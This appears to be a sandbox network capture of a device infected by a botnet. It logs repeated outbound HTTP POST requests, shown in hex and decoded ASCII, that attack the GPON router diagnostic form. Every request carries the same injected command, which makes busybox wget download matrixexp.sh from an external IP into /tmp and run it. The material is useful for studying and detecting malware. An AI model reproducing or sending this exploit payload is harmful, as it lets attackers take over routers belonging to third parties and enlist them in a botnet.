Mar 21, 2024 05:16:52.972640991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	32814	37.150.57.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972680092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	45982	37.3.80.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972709894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	42418	94.37.99.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972758055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	41916	118.231.212.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972784042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	40378	79.34.25.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972810984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	48572	37.175.171.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972867012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	44870	212.0.45.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972912073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	42952	5.74.236.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972943068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	37176	37.33.135.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.972973108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	45436	109.76.150.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973018885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	34592	94.73.146.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973059893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	50844	210.160.56.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973100901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	51824	178.110.149.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973154068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	32894	37.106.238.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973195076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	40622	37.39.144.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973223925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	39542	2.209.1.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973274946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	59728	37.183.6.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973309994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	45642	210.198.229.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973347902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	54256	79.53.90.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973381996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	60814	37.76.217.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973418951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	46808	118.212.39.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973445892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	46722	5.248.16.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973489046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	58104	2.82.1.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.973511934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	50788	2.101.172.98	443

Timestamp	Bytes transferred	Direction	Data
